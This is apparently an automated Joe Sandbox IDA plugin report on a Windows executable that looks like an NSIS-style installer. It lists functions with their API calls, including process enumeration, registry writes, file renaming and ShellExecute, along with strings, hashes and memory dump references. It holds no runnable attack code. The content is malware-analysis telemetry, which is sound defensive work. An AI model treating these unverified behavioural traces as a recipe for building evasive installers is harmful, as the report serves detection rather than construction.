Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
Instruction ID: 563abc6a1943806f9f153a5c0538de096a4a033458f435c3a5efc50f2cd88ab2
Opcode Fuzzy Hash: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
Instruction Fuzzy Hash: 67C16831A042598FCF18CF68C9805ED7BA2FF89314F25862AED56A7384E335BC45CB85

Function 004063D8 Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063EB
lstrlenW.KERNEL32(?), ref: 004063F8
GetVersionExW.KERNEL32(?), ref: 00406456

Part of subcall function 00406057: CharUpperW.USER32(?,0040642D,?), ref: 0040605D

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406495
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 004064B4
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004064BE
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004064C9
FreeLibrary.KERNEL32(00000000), ref: 00406500
GlobalFree.KERNEL32(?), ref: 00406509

Strings

GetModuleBaseNameW, xrefs: 004064C0
PSAPI.DLL, xrefs: 00406490
Module32NextW, xrefs: 0040660A
EnumProcesses, xrefs: 004064AE
CreateToolhelp32Snapshot, xrefs: 004065E1
Unknown, xrefs: 00406528
Process32NextW, xrefs: 004065F4
Module32FirstW, xrefs: 004065FF
Process32FirstW, xrefs: 004065E9
EnumProcessModules, xrefs: 004064B6
Kernel32.DLL, xrefs: 004065C7

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction ID: cf04814c2eceeca0522e3a2239a4cfb7588c45c97b625e8eb28f179f7b3afb0e
Opcode Fuzzy Hash: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction Fuzzy Hash: D3919371900219EBDF119FA4CD88AAEBBB8EF04705F11807AE906F7191DB788E51CF59

Function 004040E4 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404199
GetDlgItem.USER32(?,000003E8), ref: 004041AD
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004041CA
GetSysColor.USER32(?), ref: 004041DB
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041E9
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041F7
lstrlenW.KERNEL32(?), ref: 00404202
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040420F
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040421E

Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404150,?), ref: 0040400D
Part of subcall function 00403FF6: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404150,?), ref: 0040401C
Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404150,?), ref: 00404030

GetDlgItem.USER32(?,0000040A), ref: 00404276
SendMessageW.USER32(00000000), ref: 0040427D
GetDlgItem.USER32(?,000003E8), ref: 004042AA
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042ED
LoadCursorW.USER32(00000000,00007F02), ref: 004042FB
SetCursor.USER32(00000000), ref: 004042FE
ShellExecuteW.SHELL32(0000070B,open,0046E220,00000000,00000000,00000001), ref: 00404313
LoadCursorW.USER32(00000000,00007F00), ref: 0040431F
SetCursor.USER32(00000000), ref: 00404322
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404351
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404363

Strings

N, xrefs: 00404298
open, xrefs: 0040430B
F, xrefs: 004042D3

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: F$N$open
API String ID: 3928313111-1104729357
Opcode ID: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction ID: b74f7aac3d4bcd21dc7a54326fe4aeb8052e912a1eb6d084c2fa05dc76f75ebb
Opcode Fuzzy Hash: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction Fuzzy Hash: 5D71B5F1A00209BFDB109F65DD45EAA7B78FB44305F00853AFA05B62E1C778AD91CB99

Function 00406AC5 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00465E20,NUL,?,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AD5
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AF4
GetShortPathNameW.KERNEL32(000000F1,00465E20,00000400), ref: 00406AFD

Part of subcall function 00405DE2: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
Part of subcall function 00405DE2: lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

GetShortPathNameW.KERNEL32(000000F1,0046B478,00000400), ref: 00406B1E
WideCharToMultiByte.KERNEL32(00000000,00000000,00465E20,000000FF,00466620,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B47
WideCharToMultiByte.KERNEL32(00000000,00000000,0046B478,000000FF,00466C70,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B5F
wsprintfA.USER32 ref: 00406B79
GetFileSize.KERNEL32(00000000,00000000,0046B478,C0000000,00000004,0046B478,?,?,00000000,000000F1,?), ref: 00406BB1
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406BC0
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BDC
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406C0C
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,00467070,00000000,-0000000A,0040A87C,00000000,[Rename]), ref: 00406C63

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C77
GlobalFree.KERNEL32(00000000), ref: 00406C7E
CloseHandle.KERNEL32(?), ref: 00406C88

Strings

^F, xrefs: 00406ACF
NUL, xrefs: 00406ACA
%s=%s, xrefs: 00406B6F
plF, xrefs: 00406B54
[Rename], xrefs: 00406BF4, 00406C03

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: ^F$%s=%s$NUL$[Rename]$plF
API String ID: 565278875-3368763019
Opcode ID: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction ID: 187392fb1a539ff374a899d42f74550c270b9899c721d3c7d9f4fe98b52eb23c
Opcode Fuzzy Hash: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction Fuzzy Hash: F2414B322082197FE7206B61DD4CE6F3E6CDF4A758B12013AF586F21D1D6399C10867E

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,00476AA0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction ID: 3a901b8e11bd10f40e8c3d59bf329074d7a31f92ad936af625f7db958ebfa50f
Opcode Fuzzy Hash: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction Fuzzy Hash: BF518772800209AFCF05CF95DD459AFBBB9FF45315F00802AF952AA1A1C738EA50DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004140F8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004140F8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction ID: c6ff7831871a22410ebf281ca69ba80d881ba5d3dc99c3f31bea2db7712f227d
Opcode Fuzzy Hash: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction Fuzzy Hash: EE418BB2D00208BFCF11AF91CD46DEEBB7AEF44344F20807AF605761A2D3794A509B69

Function 00406113 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A
GetFileAttributesW.KERNEL32(00476240,?,00000000,00000000,?,?,00406300,00000000), ref: 00406168
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,00476240,40000000,00000004), ref: 004061A1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,00476240,40000000,00000004), ref: 004061AD
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),0040A678,?,00000000,00000000,?,?,00406300,00000000), ref: 004061C7
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,00406300,00000000), ref: 004061CE
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,00406300,00000000,?,?,00406300,00000000), ref: 004061E3

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004061C1, 004061C6, 004061CD, 004061DC
@bG, xrefs: 00406162

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: @bG$RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-3206598305
Opcode ID: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction ID: 195d9f7db6fc7c0c2d4377fc833027156c916e626c5a885f84869a8699de3d55
Opcode Fuzzy Hash: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction Fuzzy Hash: 0121C271500240EBD710ABA8DD88D9B3B6CEB06334B118336F52ABA1E1D7389D85C7AC

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction ID: bd1c3f70b2adfd396ae192ad3b35d3c6df9fc0ba6a3ee2c413e2f7d1cf6bca0f
Opcode Fuzzy Hash: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction Fuzzy Hash: CF319E72800115ABDB11AFA9CD89DAF7FB9EF08364F10023AF515B61E1C7394E419B98

Function 004023F0 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00424179,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00424179,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00424179,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: %s not found in %s, xrefs: 0040249A
Error registering DLL: Could not load %s, xrefs: 004024DB
`G, xrefs: 0040246E
Error registering DLL: Could not initialize OLE, xrefs: 004024F1

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s$`G
API String ID: 1033533793-4193110038
Opcode ID: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction ID: ac94b2829880799def153f2ab6d9fb01897d962df66ba524602deb4d09d833fb
Opcode Fuzzy Hash: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction Fuzzy Hash: AE21A635A00215FBDF20AFA1CE49A9D7E71AB44318F30817BF512761E1D6BD4A80DA5D

Function 0040324C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00010A00,00000064,000D2B75), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

u+, xrefs: 00403286
verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: u+$verifying installer: %d%%
API String ID: 1451636040-2773432420
Opcode ID: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction ID: b5f4dff99bd495ec87a9693a0662ffae913500554fa258d9a040327637eece45
Opcode Fuzzy Hash: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction Fuzzy Hash: F8014470640109BBEF109F60DC4AFEE3B68AB00309F008439FA05E51E1DB789A55CF58

Function 00403DF6 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403E10
GetSysColor.USER32(00000000), ref: 00403E2C
SetTextColor.GDI32(?,00000000), ref: 00403E38
SetBkMode.GDI32(?,?), ref: 00403E44
GetSysColor.USER32(?), ref: 00403E57
SetBkColor.GDI32(?,?), ref: 00403E67
DeleteObject.GDI32(?), ref: 00403E81
CreateBrushIndirect.GDI32(?), ref: 00403E8B

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction ID: 46e75ec11a9703e62b9e59528547c83071966f0b6f932d53464b5ad1ffaeee7a
Opcode Fuzzy Hash: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction Fuzzy Hash: CA116371500744ABCB219F78DD08B5BBFF8AF40715F048A2AE895E22A1D738DA44CB94

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00424179,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00424179,74DF23A0,00000000), ref: 00404FE6
